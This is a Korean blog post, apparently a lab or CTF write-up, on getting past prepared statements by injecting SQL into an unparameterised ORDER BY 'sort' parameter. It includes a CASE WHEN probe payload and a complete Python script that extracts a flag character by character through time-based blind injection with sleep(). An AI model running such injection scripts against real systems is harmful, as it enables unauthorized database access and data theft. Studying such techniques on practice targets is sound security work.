이번 문제의 경우 prepared statement 처리된 경우 어떻게 우회를 해야하는지를 파악해야하는 문제이다.

현재 get 방식으로 입력받는 값은 search 값과, sort, ord 를 입력으로 받는다.

search 값의 경우 말 그대로 검색하는 값이고 sort 어떠한 열로 정렬할 것이다. ord 는 오림차순인지 내림차순인지 구하는 것이다.

prepared statement를 간략하게 설명하면 prepared statement를 사용하기 전에는 sql 문에서는 모든 값이 입력받았을 경우 해당 sql 문을 기계어로 변환하여 컴퓨터에 전달하는데 만약 prepared statement 처리를 하였을 경우 입력받는 값을 제외한 부분외에는 기계어로 변환 후 입력받는 곳만 구멍을 뚫어 놓는 것이다. 이 경우 sql injection을 하는 것은 거의 불가능 하다.

하지만 이 경우에도 헛점은 존재하는데 바로 table name, order by와 같은 곳이다. prepared statement 가 적용될 수 있는 부분은 변수에만 가능하고 식별자의 경우는 처리가 불가능하기 때문이다.

왜 이런건지에 대해서는 추후 찾아서 정리하도록 하겠다.

 

그렇기 때문에 order by 부분에 우선 적으로 sql injection을 하였는데 ord의 경우는 안되고 sort 에는 가능했다.

이를 확인하기 위해서 아래와 같은 case 문을 넣었다. when 다음 문자가 참이면 rate로 정렬 아닐 경우 level로 정렬한다는 것이다.

sort= CASE WHEN 1=2 THEN rate ELSE level END&ord=asc

sql injection이 가능한 부분을 찾았으니 다음으로 해야하는 것은 어떻게 정렬되는지를 판별하여 참 거짓 문제를 계속 던져 데이터를 찾는 것이다.

난 아래와 같이 payload를 작성하였고, time 라이브러리를 사용한 이유는 sort에 if 문을 집어넣어 만약 맞다면 1초 지연시키고 틀리다면 지연시키지 않음을 이용해 응답 지연을 통한 참 거짓을 판별하였다.

사실 정렬 자료를 비교하여 할려고 했지만, 지정해 주는 것이 번거롭고 가장 쉬운 것이 서버와의 응답차를 이용하는 거라 생각하여 아래처럼 작성하였다.

import requests
import time
url='http://normaltic.com:7777/sqli_4/search.php'
cookies={'PHPSESSID':'uepv7p3c6a6o0i3nl02a3e2p3h'}

pw_str=''
for position in range(1,100):
    for find_pw in range(33,127):
        pay = "select flag from flag_table limit 0,1"
        payload = "if(ascii(substring(("+pay+"),{},1)) ={},sleep(1),1)".format(position,find_pw)

        parameter = {'search' :'ma', 'sort' : payload, 'ord': 'asc'}
        start = time.time()
        res = requests.get( url, params=parameter, cookies=cookies)
        end = time.time() - start
        if (end >1):
            pw_str += chr(find_pw)
            print("flag=", pw_str)
            break

    if(end < 1):
        break
    print("next")
print("Found all flag=", pw_str)




+ Recent posts